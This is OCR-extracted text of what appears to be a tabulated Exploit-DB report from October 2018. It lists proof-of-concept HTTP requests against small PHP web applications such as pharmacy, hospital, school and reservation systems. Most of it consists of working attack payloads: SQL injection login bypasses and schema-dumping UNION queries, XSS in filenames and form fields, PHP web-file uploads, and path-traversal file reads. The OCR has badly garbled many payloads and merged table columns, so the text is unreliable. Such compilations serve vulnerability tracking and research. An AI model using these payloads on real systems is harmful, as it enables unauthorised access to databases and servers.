B —19725691145690149721005243204
Content-Disposition: form-data: name="linkedin_profile_link"
ismailtasdelen

—-19725691145690149721005243204
Content-Disposition: form-data: name="twitter_profile_link"
ismai | tasdelen
— —————19725691145690149721005243204
Content-Disposition: form-data; name="short_note"
"><script>alert("ismailtasdelen’)</script>
—-19725691145690149721005243204
Content-Disposition: form-data: name="userfile":
filename="H"><img src=x onerror=alert(W"isnai | tasdelenti")>. jpg"
Content-Type: image/jpeg

2018-10-25

45682

sQL Injection

phptpoint Pharnacy Management
System 1.0 - 'username’ SOL
injection

user name=admin%27+0R+ 14+-—
+&passwor d=anyPasswor d&pos i t ion=Admindsubmi t=Login

phptpoint Pharmacy
Management System

phptpoint
Pharmacy
Management
Svstem 1.0

2018-10-25

45683

sQL Injection

phptpoint Hospital Management
System 1.0 - 'user’ SQL
injection

user=admin%40gmai | .com'+0R+1-~+8pass=anything&signin=

phptpoint Hospital
Management System

phptpoint
Hospital

Management

Svstem 1.0

2018-10-25

45684

SQL Injection

Simple Chat System 1.0 - 'id"
SQL Injection

GET /user /chatroom.php?id=-3%27+ yQO1Pipic'ié
B62c(selECt{@x)fROM(selEC 2¢(@FUNNi
+(0)fRO!

nuMBer:= thl
Tion_schEMa.colL (tABLe_sch
i _name)%2

EMa=daT)
cConcat(LPAD(@rUNNing_

UNNing_nuMBer
M 200x00)%2clpad

2=@2%2b

_name
2C0x4968736166205

16e-—+ HTTP/1.1

723¢))

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0

Accept: text/html,

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive

.9,4/*1q=0.8

Simple Chat System

Simple Chat
Systen 1.0

2018-10-25

45685

File upload

Delta Sql 1.8.2 - Arbitrary
# ® File Upload

POST /10.0.100.24/docs_upload.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml application/xml:g=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/[PATH]/docs_manage.php?id=1
Cookie: PHPSESSID=ra5cObgat i64a01fag0118hhf0

Connection: keep-alive

Content-Type: multipart/form-data: boundary=

- —-1589433289 1431856 1992147220435
Content-Length: 721

14318561992147220435
Content-Disposition: form-data: name="fileToUpload":
filename="Efe.php"

Content-Type: application/force-download

<?php

phpinfo():

>

14318561992147220435
Content-Disposition: name="submi t"

Upload File

form-data:

14318561992147220435
4

Content-Disposition: form-data: name="i
1

14318561992147220435
name="version"
14318561992147220435
name="hasdocs"

1431856 1992147220435~

Content-Disposition: form-data;

Content-Disposition: form-data;

Delta Sal

Delta Sal
1.8.2

2018-10-25

45686

Cross-Site Scripting

User Management 1.1 — Cross—
2 ® Site Scripting

POST /Cpanel /account HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept :

text/html,application/xhtmi+xml .application/xml:q=0.9,*/*:q
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data: boundary=
708845129398 173258139363 1504
Content-Length: 1574638

Connection: close
Upgrade-Insecure-Requests: 1

————--708845129398 173258139363 1504
Content-Disposition: form-data: name="ful IName"

Adnin

708845129398 173258139363 1504
Content-Disposition: forn-data: name="profilelmage":
filename="H'><img src=x onerror=alert(W" isnai | tasdelent")>. jpg"
Content-Type: image/jpeg

User Management

User
Management
1.1
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POST /ajax.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: HMozil1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html ,application/xhtml+xml app|ication/xnl:g=0.9, */+;
g Accept-Language: en-US, en:a=0.5 ;
2018-10-25 | 45688 |  SQL Injection 2 ® Sriouctet 2 0o ' hcocpt-Encodin: gzip. det late Clippucket | O11PPKet
Cookie: PHPSESSID=fuobi feugni2gnt2kir6patoes
Connection: keep-alive
Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 96
mode=rat i ng& d=( CASE20IHEN20( 112=112)%20THENK20SLEEP (5)%20ELSE
%20112%20END) & at ing=5&type=user
GET /user/plist.php?cat=-
1%27++un i On+se | eCT+0x4968736 16e2053656e636 166%2c0x 4968736 1662053
6566636 16e%2¢ (se | ECt (@x) fROm(se | ECt (@x:=0x00)%2c (@rUNNing_nuMBer
:=0)%2c(@tb | :=0x00)%2c(se |ECt (0) fROM( infORMAT ion_schEMa. coLUNins)
WHET e( tABLe_schEMa=daTABase( ) )aNd(0x00) in(@x:=Concat (@xw2ci f (@t
bl I=tABLe_nane)%2cConcat (LPAD(ErUNNing_nuliBer :=6rUNNing_nulBer %2
b1%2c2%2c0x30) %2c0x30303e%2c0t B :=t ABLe_nalletk2c (62:=0x00) )%2c%20
0x00)%2c | pad(@z:=02%20 30)%2c0x3036%2c0x4b6f 0
20c0|umn_name%2c0x3c62723e) ) ) )x ) %2c0x4968736 6620536566636 166%20
0x4968736 6620536562636 166%2c0x4968736 1620536566636 16e%200x4968 Simple POS
2018-10-5 | 45689 SQL Injection @ S Simple POS and Inventory 1.0 |7361662053656e636 16—+~ HTTP/1.1 Sinple POS and [, " entory
- ‘cat’ SOL Injection Inventory o
Host: 10.0.100.24:1004
User-Agent: HMozil1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml,application/xml:g=0.9,*/*:q=0.8
Accept-Language: en-US,en:g=0.5
Accept-Encoding: ozip. def late
Cookie: PHPSESSID=fuobi feugni2gnt2kir6patces
Connection: keep-al ive
GET
/search.php?a=12%27 | | (Sel eCT%20%27E fe%27%20F r oMs20dUAL%20NNeRER2
10=110%20AnD%20 (seLECTH20112%20f r OM(SE | €cT%20COUNT (+) , ConCAT (C
ONcat (0x203a20. UseR( ), DAtaBASe( ), VErs1ON()) . (SeLEGt%20(ELT(112=1
12,1))),FLoOR(RAN(0) +2) ) x%20FRON%20 INFOr mat |ON_SchEMA. P1UG INSK2
0grOUp%20BY%20x)a)) | 1%27 HTTP/1.1
2018-10-25 | 4569 |  SQL Injection 5 & AIOPSD Final 1.0-0= 6" S0l ost: 10.0.100.26:1004 aiomso Final [MOPHSD Final
! User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0) o
Gecko/20100101 Firefox/45.0
Accept
text/html ,appl icat ion/xhtml+xml ,app! ication/xml;a=0.9,/+:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
GET
/inc/popup.arcode. inc.php?uuid=1)+UniONtsELect +0x4968736 16620536
56e63616e%2c(sel ECt (@x) fROm(se | ECt (@x:=0x00)%2c (@r UNNing_nuMBer :
=0)%2c(@tb | :=0x00)%2c (seECt (0) fROM( infoRMAT ion_schEMa. coLUMns )w
HEre( tABLe_schEMa=daTABase () )aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb
11=tABLe_name)%2cConcat (LPAD(@rUNNing_nuMBer :=Gr UNNing_nuliBer2b
1942025200630 Bl:=tABLe. =000) ) %2c%200
X00)%2c | pad(@z : =02%2b 1%2c2%2c0x30)%$2c0x303e%2c0x4b6 66 fBe3a20%2
R ccolumn_ 0x3c62723¢)) ) )x 3616e 16e%2c0
2018-10-25 | 45692 QL Injection 5 @ WPS Box 0.1.8.0 = "wuid" SQL |, 4968736 16620536560636 166—+ HTTP/1.1 WPS Box WPS: Box
Inject ion 0.1.8.0
Host: 10.0.100.24:1004
User-Agent: HMozilla/5.0 (X11; Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,applicat ion/xhtml+xml ,app! ication/xnl:q=0.9,*/*
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, def late
Connection: keep-alive
GET
0.100.24/modul es/backup/act ions . php?op=get fle&file=../../ ../
... /Windows/win.ini HTTP/1.1
Host: 10.0.100.24:1004
_ |user-Agent: Mozilla/5.0 (X11: Linux x86.64: rv:45.0)
2018-10-25 | 45693 File Upload a ,S‘;el”“?{y anager 2.8 iecko:zmomm Firefox/d5.0 Open STA Wanager M;‘fg”e,sg“ 3
ccept
text/html,application/xhtml+xnl ,app! ication/xnl:a=0.9,/+:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: ozip. deflate
Cookie: PHPSESSID=1t998mh6as6aq2d7da;j9ogdoad
Connection: keep-alive
POST /QCVote.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: HMozilla/5.0 (X115 Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5
i v + |Accept-Encoding: gzip, deflate i
1g-1026 | 45698 |  SQL Injection 5 ® Quiek Cout 2.0 = Ot NS0 et on: koeo-al ive Quick Count | Quck Count
! Content-Type: applicat ion/x-w-forn-ur lencoded
Content-Length: 268
txtInst1D=12' || (SeleCT%20" Efe' %20 oMk20GUALH20MMeRE 20 110=110%2
0AND%20(seLECT#%20112%201 rOM(SE | ecTH20COUNT () , ConCAT (CONcat (0x20
3a20,UseR( ), DAtaBASe() ,VErsION()). (SeLEct%20(ELT(112=112,1))) .FL
00R(RANG(0) 2) ) x%20FROMK20 INFOrmat |ON_SchEMA. P 0Up%20B
Y%20x)a)) 1"
GET
/docs_manage. php?id="++uNiOn+se | eCt+0x31,0x32, (selECt (@x) fROm(se
1ECt (@x:=0x00)%2c (@rUNNing_nuliBer :=0)%2c (@tb | :=0x00)%2c(se |ECt (0
JfROm(infoRMAT ion_schEMa. coLUMns )wHEr e (tABLe_schEMa=daTABase() )a
Nd(0x00) in(@x:=Concat (@x%2ci f ((@tb|!=tABLe_name)%2cConcat (LPAD(E@
rUNNing_nuMBer : =6r UNNi ng_nullBer %2b 1%2c2%2c0x30)%2c0x30303e%2¢01B
1:=tABLe_nallet2c (@2 =0x00) )%2c%200x00) %2c | pad(@z : =242 1%2c2%2c0
x30 T 23e))))x
L ).0x34,0x35—+&ver s on=18hasdocs=1 HTTP/1.1
2018-10-26 | 45700 SQL Injection 5 & Delta 5‘4" 1.8.2 - 'id" saL Delta Sql Del‘g gu\
nection Host: 10.0.100.24:1004 8
User-Agent: Mozil11a/5.0 (X115 Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xnl ,application/xnl :q=0.9,*/xq=0.8
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ra5c0bgat i64201fag0118hh{0
Connection: keep-alive




EDB-Report
BT WebffEgs 1t hL > B

N(20184E5E4M4:HA)

2018.10.01~2018.12.31 Exploit-DB(http://exploit-db.com) kD ABIEN TWSREICE IV IEIEIE M > MEHT T,

GET /petmaint.php?edi tpetnum=
Ox4968736 1662053656636 16e+Un On++SeLect +0x4968736 1692053656e63
0 166%20x4966736
cOx496873616920536569&36169%200)(49687361692053656&63616&%200x496
166%200x4968736 16
DP 166%2c0x4968736 16620536
566636 16e%2CCONCAT (CONCAT_WS(0x203a20, USER( ) , DATABASE( ), VERS | ON(
) 166%2c0x4968736 166%2C :
Veterinary Clinic Management |0x496873616e2053656e636 16e%2c0x4968736 6620536566636 16e—+E fe Veter inary
2018-10-26 | 45701 SQL Injection ) & 00.02 - 'editpetnun’ SQL |HTTP/1.1 Veterinary Clinic | Clinic
p Management Managenent
Injection 0. 05
Host: 10.0.100.24:1004
User-Agent: HMozilla/5.0 (X11; Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml ,application/xml;q=0.9,*/;
Accept-Language: en-US.en:0=0.5
Accept-Encoding: ozip, deflate
Connection: keep-alive
POST /submit_| feedbaok Dhn HTTP/1.1
Host: 10.0.1
User-Agent: Mozum/s,o (X115 Linux x86._64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US.en:0=0.5
Open Faculty Evaluation |Accept-Encoding: ozip. deflate Open Facult Open Faculty
2018-10-29 45703 SQL Injection 2 & System 5.6 - 'batch_name’ SQL|Connection: keep-alive pen Facul ty Evaluation
. Evaluation System
Inject ion Content-Type: app ication/x-wi-forn-ur lencoded Systen 5.6
Content-Length: 282
batch_name=2" || (SeleCT20" Efe' %20F T ob200UALK20NheRE20110=110%2
0AND%20(seLECTH20112320f rOM(SE | ecT%20COUNT(+) ,ConCAT (CONcat (0x20
3a20,UseR( ), DAtaBASe() VErsION()). (SeLEct%20(ELT(112=112,1))) .FL
00R(RAND(0)*2) ) x%20FROM20INFOrmat | ON_SchEMA. P 0Up%20B
Y%20x)a)) | | '&submi t=Submi t
POST /submit_feedback.php HTTP/1.1
Host: 10.0.100.24: 1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5
Open Faculty Evaluation |Accept-Encoding: gzip. deflate Open Facult Open Faculty
2018-10-29 45707 SQL Injection 2 & System 7 - 'batch_name' SQL |Connection: keep-alive pen Facu'ty Evaluation
Injestion Content-Type: applicat ion/x-w~forn-ur lencoded Evaluation Systen | g cren 7
Content-Length: 282
batch_name=2" | | (SeleCT%20'Efe' %20FroM620dUAL%20WNeREX20110=110%2
0AND20(seLECTH20112%20f rOM(SE | ecT%20COUNT(+) ,ConCAT (CONcat (0x20
3a20, UseR( ), DAtaBASe (), VErsION()), (SeLEct20(ELT(112=112,1))) ,FL
00R(RANG(0) *2) ) x%20FROMK20 INFOrmat | ON_SChEMA. P 1UGINS%200r 0Up%208
Y%20x)a)) | | '&submi t=Submi t
: /play.php?id=99999'+[SQL Command]+# MTGAS HOGG
2018-10-29 | 45717 SQL Injection & s MTGAS MOGG Web Simulator |, ol G-090ague7+and+extractvalue( 1, concat (Ox3a.user (),0x3a|  NTGAS HOGG Web  |Web Simulator
Seript - SQL Injection .
))%23 Seript
POST /admin/mod_users/control ler .php?act ion=edit HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: HMozilla/5.0 (X11; Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
Aplaya Beach Resort Online text/html ,appl \;anon/xhn_onm\ .application/xnl;q=0.9,*/*:q=0.8 Aplaya Beach Ffulay‘aoﬂelach
2018-10-29 45718 SQL Injection 5 & Reservation Systen 1.0 - sqL |Accept-Language: en-US,en:a=0.5 Resort Online | coort Online
Injection Accept-Encoding: gzip, deflate Reservation System Reservation
Connection: keep-alive System 1.0
Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 111
account _id=58nane=. id=guser ef
e.con&dept id=&pass=efe&type=Adninistratorasave=
sal imecti P Curr ioulun Evaluation Systen | 7 11 0r 1 =" AnD Curriculun | Currioulum
2018-10-29 45719 QL injection El RRNEE 102 S0l Injeotion EXTRAcTVaLUE(Z? CoNCaT (0x5c, veRSmn().(SE\ECT Evaluation Systen | Evaluation
(EIT(1=1,1))) database()))— E System 1.0
"11(SEIeCT 'Efe’ FRoM Dual WheRE 113=113 AnD (SEIeCT 64 Point of
Point of Sales (P0S) in FRom (SELeCT Point of Sales Sales (P0S)
-10-29 45721 SQL Injection El L3 VB.Net MySQL Database 1.0 = [CoUNT(x),ConGAT(ConCAT (0x203a20, USER( ), DAtABASE () VErSIoN()), (Se| (POS) in VB.Net | in VB.Net
SQL Injection IECT (ELT(64=64,1))) .FLOOR(RAND(0)+2))x FrOM MySQL Database MySaL
INFOT HAT0N_SchEMA. pLUGINS GrolP By x)a))||" Database 1.0
GET /student/index.pho?view=view&id=—
1%27+uniOntseLecT+431%2c (se | ECL (@x) TROM(se [ECt (@x:=0x00)%2c(@rU
NNing_nuMBer :=0)%2c(@tb] :=0x00)%2c(se ECt (0) fROm(infoRMAT ion_sch
EMa. coL Ulins ) wHEr e  tABLe_schEMa=daTABase( ) )aNd(0x00) in(@x: =Concat
(@x2ci f((@tb| 1=tABLe_name)%2cConcat (LPAD(@r UNNing_nubBer :=6rUNN
ing_nuMBer %2b 1%2c2%2c0x30)%2c0x303d3e%2c@tB | : =tABLe_naMe’2c(@z:=
0x00) ) 00x00)%2¢ | pad (@2 : =62%2b 1%22%2c0x30 ) %2c0x3d: 0x4b6
f6c6f 1)))x
CHBBRRCH3THOCHIBNRCHITR2CH3 1%30A2CH3 143 1%2CH3 1%32%20H3 143342cH3 1
. Schoo! Event Management | <o42dk2dR20%2d HTTR/1.1 School Event | 560! Event
2018-10-29 45722 SQL Injection Ll RRNGE S o Content-Length: 312 Managenent
ystem 1.0 - SQL Injection Managenent Systen | S8R
Host: 10.0.100.24: 1004
User-Agent: Mozi11a/5.0 (X115 Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,appl ication/xhtml+xml ,appl ication/xnl:q=0.9,+/+:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=nrhtSeahsjorpgl dkBe4s5non3
Connection: keep-alive
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45726

File Upload

2 FRUGE

School Attendance Monitor ing
System 1.0 — Arbitrary File
Upload

GET /10.0.100.24/event/control ler .php?act ion=photos HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3

Connection: keep-alive

Content-Type: multipart/forn-data; boundary=

= —-363437267691175502111026 1466
Content-Lengt
= —-363437267691175502111026 1466
Content-Disposition: form-data: name="Event|D"

1

S —363437267691175502111026 1466
Content-Disposition: form-data: name="MAX_FILE_SIZE"
1000000

—-3634372676911755021110261466
Content-Disposition: form-data: name="photo":
filename="phpinfo_gif.php"

Content-Type: application/force-down|oad

GlFefe

<?php

phpinfo():

>

******************* -363437267691175502111026 1466
Content-Disposition: form-data: name="savephoto"

11755021110261466—

School Attendance
Monitoring System

School
Attendance
WMoni tor ing
System 1.0

2018-10-29

45727

Sql Injection

2 FREE

School Attendance Monitoring
System 1.0 - SQL Injection

GET /student/index.pho?view=view&id=—
1%27+tuniOntselecT+%31%2c(se ECt (@x) fROm(se |ECt (@x:=0x00)%2c(@rU
NNing_nubBer :=0)%2c(@tb | :=0x00)%2c(se IECt (0) fROm(infoRMAT ion_sch
EMa. coLUNns )wHEr e ( tABLe_schEMa=daTABase( ) )aNd(0x00) in(@x:=Concat
(@x%2ci f((@tbl !=tABLe_name)%2cConcat (LPAD(@rUNNing_nuMBer :=@r UNN
ing_nuMBer %2b 1%2c2%2c0x30) %2c0x303d3e%2c@1 B : =t ABLe_nalex2c (@z:=
0x00) ) )%2¢ | pad(@z: =62%2b )%200x3d! 0x4b6
160611 L ))))x
Ch36%2CH37%2C%3B%2CH3INN2CH3 1%30%20%3 1%3 1%2%3 1%32%2%3 1%33%2c%3 1
%34%2d%2d%20%2d HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html ,application/xhtml+xml,application/xml:g=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3

Connection: keep-alive

School Attendance
Monitoring System

School
Attendance
Moni tor ing
System 1.0

2018-10-29

45728

sQL Injection

PayPal-Credit Card-Debit Card
Payment 1.0 - SQL Injection

GET /index.php?p=accomodat iondq=—

Standar d%20Room%27%20%20UN 1ON(SELECT( 1), (2), (3), (se|ECt (@x) fROm(
selECt (@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c(@tb1 :=0x00)%2c(se | ECt
(0) fROm( infoRMAT i on_schEMa. coLUMns JwHEr e( tABLe_schEMa=daTABase ()
)aNd(0x00) in(@x:=Concat (@x¥%2ci f ((@tb !=tABLe_name)%2cConcat (LPAD
(@rUNNi ng_nuMBer :=@r UNN i ng_nuliBer %2b 1%2c2%2c0x30)%2c0x303d3e%2c@
tBI :=tABLe_naM (@2:=0x00) ) 00x00)%2¢ | pad (@2 : =@z%2b 1%2c2%2
c0x30. umn_ 23e)))
)x).(5),(6).(7),(8),(9),(10), (11), (12))==%20~ HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :
text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive

PayPal-Credit
Card-Debit Card
Payment

PayPal-Credit
Card-Debit
Card Payment

2018-10-29

45729

File Upload

Rhin0S CMS 3.x - Arbitrary
File Download

/adnin/inicio.php?include=php/down|oad.php&name=efe.php&file=../
config.php

Rhin0S CMS

Rhin0S CMS
3.x

2018-10-29

45730

SQL Injection

E-Negosyo System 1.0 - SQL
Inject ion

GET /index.php?p=accomodat i ondq=~

Standar d%20Room%27%20%20UN | ON(SELECT( 1), (2)., (3)., (selECt (@) fROm(
selECt (@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c(@tb | :=0x00)%2c(seECt
(0) fROm( infoRMAT i on_schEMa. coLUMns JwHE e ( tABLe_schEMa=daTABase ()
)aNd(0x00) in(@x ncat (@x%2ci f((@tbl!=tABLe_name)%2cConcat (LPAD
(@rUNNi ng_nuMBer :=@r UNNi ng_nuliBer %2b 1%2c2%2¢0x30)%2c0x303d3e%2c@
tB1:=tABLe_naMe%2c (@z:=0x00) )%2c%200x00)%2c | pad @z : =@z%2b 1%2c2%2
c0x30) Tumn_s 23e)))
)x),(5),(6).(7),(8),(9),(10), (1), (12))-=%20~ HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=mrhtS5eahs]grpgl dk6c455ncm3

Connection: keep-alive

E-Negosyo System

E-Negosyo
System 1.0

2018-10-29

45731

SQL Injection

Salt0S Erp Crm 3.1 r8126 -

SQL Injection

POST /index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 5.1: rv:50.0) Gecko/20100101
Firefox/50.0

Accept: */x

Accept-Language: tr-TR,tr;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
Content-Length: 1320

Cookie: PHPSESSID=31qcs1bhai tgBufb7vokot7c71; lang=en_US;
__lang__=1543313377; style=blue; _style_=1543313377:
iconset=silk: __iconset__=1543313377

Connection: keep-alive

Salt0S Erp Crm

Salt0S Erp
Crm 3.1 18126




EDB-Report
BT WebffEgs 1t hL > B
2018.10.01~2018.12.31 Explol

N(2018E5E4MU4H)
-DB(http://exploit-db.com) &N ABIEN TVSHEIE SV EIEEIE N > MEHTT.

act i tring=8user =%2531 1
5 %6256 %2
575%
56e%25. 74%2528
832
3%25 1 1%2573%25
1%25
561%257 1 5 "%2565%
6f 72
606256 1%25 %25
1 1 5
442561 5.
56 1 4%256
61%256 %25, 56
%2566 56
61%257: 1%25
560%256 5, 0%2567%2572%256 1%
5257 41%254

s=x&lang=en_US&style=bluediconset=silk

2018-10-29

45733

SQL Injection

Salt0S Erp Crm 3.1 18126 —
SQL Injection (2)

POST /index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html,application/xhtml+xml .application/xml:q=0.9
Accept-Language: tr-TR,tr:0=0.8.en-US:0=0.5.en:q=0.3
Accept-Encoding: ozip, deflate

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 747

Cookie: PHPSESSID=i19r6344chOned04kgihpc7 145; Iang=en_US:
\ang 1543322831: style=blue: _style_=1543322831:
const ilk: _iconset__=1543322831

Connec(lon keep-alive

*/*:0=0.8

act ion=aj ax8query=nunber s8page=usuar ios&act ion2=1 ist%27%29%20%6 1
T 0%31 0%46%72%6

3%54%20%43%4 %75 %BeO3%E 1%54%2

8 f%6e%kd3%4 1%54%28%30 1

5629%2CHA4%6 1%74%4 1%42%4 1 2%53%49%6 f %de%28%

41 %52%28%52%4 1 od f %4 dh20%4

7 2%60%41%654%49%4 f %de 1 50%4c%75

%6 0%47%72%6 Y ”“LA 659%20%7 8%29%6 1%20%20%4 1%6e%

id=0: undefined

Salt0S Erp Crm

Salt0s Erp
Crm 3.1 r8126

2018-10-29

45735

sQL Injection

GET

/index.php?route=adnin/user /group/update&token=036ae f c8aabf2ac8f
6a4687ce432905d&user_group_i d=1%39%20%4 1%4e%44%28%53%45%4ck45%43
9654%20%3 1%20%46%52%4 f %A

5HACHASHA3URE4%20%43%4 f fede%hAa3%d 1%54%28%A43%4 1%53%54%28%44%4 1%54%4 1
64 2%4 1%53%45%28%29%20%4 1%53%20%43%48%4 1%52%29%2C%30%7 8%37%65%29%
o %5: %hde%5h53%43%4

1%2e%54%4 1 0%7 4%61%62%6¢

B5%5 %7 3REIREBRE5ROANE 1%30%44%4 1%54%4 1%42%4 1%53%45%28%20%20%4c%

5 & K-iwi Framework 1775 - SQL

%A

Injection

%4 f %52%4d%4 1%54%49
%4 fRdenst 1964 1%4: 0%4; %d
50%20%42%59%20%78%29%6 1%29 HTTP/

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US.en:0=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

K-iwi Framework

K-iwi
Framework
1775

2018-10-30

45736

SQL Injection

South Gate Inn Online
Reservation System 1.0 - 'q’
SQL Injection

GET /index.php?p=accomodat iondq=-

Standar d%20Room%27%20%20UN | ON%20SELECT%201, 2,3, (se |ECt (@x) fROm (s
elECt (@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c(@tb] :=0x00)%2c(selECt
0) fROm( infoRMAT i on_schEMa. coLUNns )wHEr e ( tABLe_schEMa=daTABase ()
aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb| !=tABLe_name)%2cConcat (LPAD(
@rUNNing_nuMBer :=@r UNNing_nuMBer %2b 1%2¢2%2c0x30) %2c0x303d3e%2cat
Bl:=tABLe_naMe%2c(@z: =0x00))%ZC%ZOOXUO)%ZC\Dad(@z =0z%2b1%2c2%2¢
0x30)%2c0x3d3e%2c0x4b6 lumn_name%2c0: 23e))))
x),5,6,7,8,9,10, 11—%20- HTTP/1.1

Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept :

text/html ,application/xhtml+xml,application/xml:q=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=upb6padanOhi6einht4ugvheet

Connection: keep-alive

i Linux x86_64: rv:45.0)

South Gate Inn
Online Reservation
Systen

South Gate
Inn Online
Reservation
System 1.0

2018-10-30

45737

sQL Injection

GET
/DaQeS/Droduct details. phD"urud 1d=%20%3 1%32%27%20%20%55%4e%49%4
54 54%20%4

%52%4'%55%50%5'%43%'%49%43%1%54%28%74%61%62%60%5%5'%e%m%d%
145254

37632%33%6

%4 f %bAd%d 1%654%49%4 f hde%S f653%43
1%2e%54%4 1%4: J%57%48%45%52%45%20%54%4 1%42%

4cKa5%5f 1%3d%44%4 1%54%4 1%42%4

1 1%3 1%3:
HTTP/1.1

5 & Electricks eCommerce 1.0 -
‘prodid' SQL Injection

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64;
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;:q=(
Accept-Language: en-US.en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESS|D=upbBpadanOhi6elnhtdugvheet
Connection: keep-alive

rv:45.0)

Electricks
eCommer ce

Electricks
eCommerce 1.0
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sQL Injection
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Injection

photpoint Pharmacy Management | App| elebk t /537 .36
2 * System 1.0 - 'username' SQL | (KHTML, |ike Gecko) Chrome/69.0.3497.100 Safari/537.36

POST /Pharmacy/index.php HTTP/1.1

Host: 10.0.100.24:1004

Content-Length: 80

Cache-Control : max-age=0

Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1

Content-Type: app|ication/x-www-form-ur |encoded
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)

Accept
text/html ,application/xhtml+xml,application/xml:g=0.9, image/webp
. image/apng, */*:6=0.8

Referer: http://172.16.122.4/Pharmacy/ index.php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en:a=0.9,fr:0=0.8, fr-FR:a=0.7

username=admin%27+0R+1+--
+&passwor d=anyPasswor d&pos i t ion=Admin&submi t=Login

phptpoint
phptpoint Pharmacy | Pharmacy
Management System | Management
System 1.0

2018-10-30 45740

File upload

5 & Webiness Inventory 2.9 -
